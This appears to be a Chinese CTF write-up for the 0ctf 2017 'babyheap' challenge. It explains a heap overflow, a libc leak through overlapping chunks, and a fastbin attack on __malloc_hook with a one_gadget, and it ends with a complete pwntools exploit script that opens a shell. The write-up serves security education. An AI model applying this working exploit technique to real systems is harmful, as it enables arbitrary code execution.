分析

一道很适合初学者的heap题,方法应该是特别多的。

ida x64反编译:

1646279732694.png

先看allocate函数:

1646280082042.png

大概可以还原出数据元素的结构:

1
2
3
4
5
struct Ele{
long long vis; //标记是否可用
long long size; //打印该chunk的时候的长度
malloc_chunk * chunk_addr; //chunk的地址
};

值得注意的一点是,这里在申请内存的时候使用的是calloc(),也就是说,会把userdata都清空为’\x00’。

所以后面去制造堆块的重叠的时候需要修复chunkheader。

再分析一下fill函数:

1646280541458.png

很明显,只检查了越界,但是没有检查是否溢出。

free函数:

1646280730177.png

没有uaf。

最后看dump函数:

1646280865186.png

输出的长度是取决于创建heap的时候记下来的那个size。

1646280973827.png

没有看到system之类的函数,所以应该需要leak一下libc了。

那么做题可以分为两大步骤:

1.Leak libc

基本的思路就是利用被放到unsorted bin或small bin的双链表里时,只有一个chunk的时候,他的fd和bk都指向libc里的bins数组的某个头结点处(因为主线程的mainarena是libc上的静态变量,所以是可以用来leak基址的)

所以一定要让某一个堆块可以把这个fd或bk给打印出来,这里就可以利用堆块重叠来实现。

我这里是先申请了一个0x71的chunk和一个0x51的chunk,然后又申请了一个0x111的chunk。

再利用第一个chunk溢出到第二个chunk,将他的size修改成0x71,这样就能覆盖到那个0x111的chunk的header了。

1646312602870.png

但是查看heap的时候会发现,改掉了第二个chunk之后,下一个chunk的位置会被识别到第二个chunk现在的size后面的位置,这个时候那里的size就是0x0

1646313700075.png

在init_free()里有一个检查机制就是,free的时候下一个chunk的大小不能小于2*SIZE_SZ(这里是0x10),

所以我们在free掉第二个chunk的时候还需要用第三个chunk去修复一下下面那个假chunk的头。

1646313824795.png

1646313986971.png

修复好了之后就可以free掉第二个chunk了。(free掉他是为了重新申请一个真正的0x71的chunk,因为打印的长度是在申请的时候确定的,原来那个chunk并不能把后面leak出来的libc地址打印出来)

因为使用的是calloc(),所以还需要去把0x111那个chunk的头给修复了。

1646314205801.png

然后还需要再随便申请一个chunk,防止0x111那个chunk被free的时候直接合并到topchunk里去了。

1646314458227.png

1646314516824.png

这样,main_arena+0x58的地址就被leak出来了。libc基址就到手了。

偏移的话,就用vmmap去算,很方便(感谢eeee师傅提供的帮助)

2.Get shell

1646320286657.png

保护是全开了的,所以没法改got表,但是__malloc_hook是能利用的。

1
2
3
4
5
6
7
8
// wapper for int_malloc
void *__libc_malloc(size_t bytes) {
mstate ar_ptr;
void * victim;
// 检查是否有内存分配钩子,如果有,调用钩子并返回.
void *(*hook)(size_t, const void *) = atomic_forced_read(__malloc_hook);
if (__builtin_expect(hook != NULL, 0))
return (*hook)(bytes, RETURN_ADDRESS(0));

大概原理就是,在调用__libc_malloc()的时候,如果有钩子函数的话,就会直接调用。

所以利用fastbin attack去把shell的地址写到__malloc_hook那里。(shell的话,这里是用one_gadget找的)

free掉下标为1的chunk,用下标为0的chunk去修改那个chunk的fd指针,尽量往__malloc_hook前面找

1646320716770.png

这里是在<__malloc_hook-23>的位置找到了一个合适的fake_chunk。

1646320787627.png

再申请到的第二个0x71的chunk就会是这个位置。到时候直接把one_gadget的地址写到__malloc_hook就完事了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *
context.log_level = 'debug'
elf = ELF('./babyheap_0ctf_2017')
libc = ELF('./libc-2.23.so')
# p = process(['./babyheap_0ctf_2017'], env={"LD_PRELOAD":"./libc-2.23.so"})
p = process('./babyheap_0ctf_2017')
# p = remote('node4.buuoj.cn', 25754)

def choice(idx):
p.recvuntil('mand: ')
p.sendline(str(idx))

def allocate(sz):
choice(1)
p.recvuntil('ze: ')
p.sendline(str(sz))

def fill(idx, sz, content):
choice(2)
p.recvuntil('dex: ')
p.sendline(str(idx))
p.recvuntil('ze: ')
p.sendline(str(sz))
p.recvuntil('tent: ')
p.send(content)

def free(idx):
choice(3)
p.recvuntil('dex: ')
p.sendline(str(idx))

def dump(idx):
choice(4)
p.recvuntil('dex: ')
p.sendline(str(idx))

allocate(0x60)
allocate(0x40)
allocate(0x100)
pay = b'a'*0x60 + p64(0) + p64(0x71)
fill(0, len(pay), pay)

pay = b'b'*0x10 + p64(0) + p64(0x71)
fill(2, len(pay), pay)
free(1)

allocate(0x60)
pay = b'c'*0x40 + p64(0) + p64(0x111)
fill(1, len(pay), pay)

allocate(0x20)
free(2)
dump(1)
p.recvline()
p.recv(0x58)
main_arena = u64(p.recvline()[:-1])

base = main_arena - 0x3c4b78
malloc_hook = libc.symbols['__malloc_hook'] + base
one_gadget = base + 0x4526a

print(hex(malloc_hook))

free(1)
pay = b'a'*0x60 + p64(0) + p64(0x71) + p64(malloc_hook-0x23) + p64(0)
fill(0, len(pay), pay)
allocate(0x60)
allocate(0x60)

pay = b'a'*0x13 + p64(one_gadget)
fill(2, len(pay), pay)
allocate(0x20)

# gdb.attach(p)

p.interactive()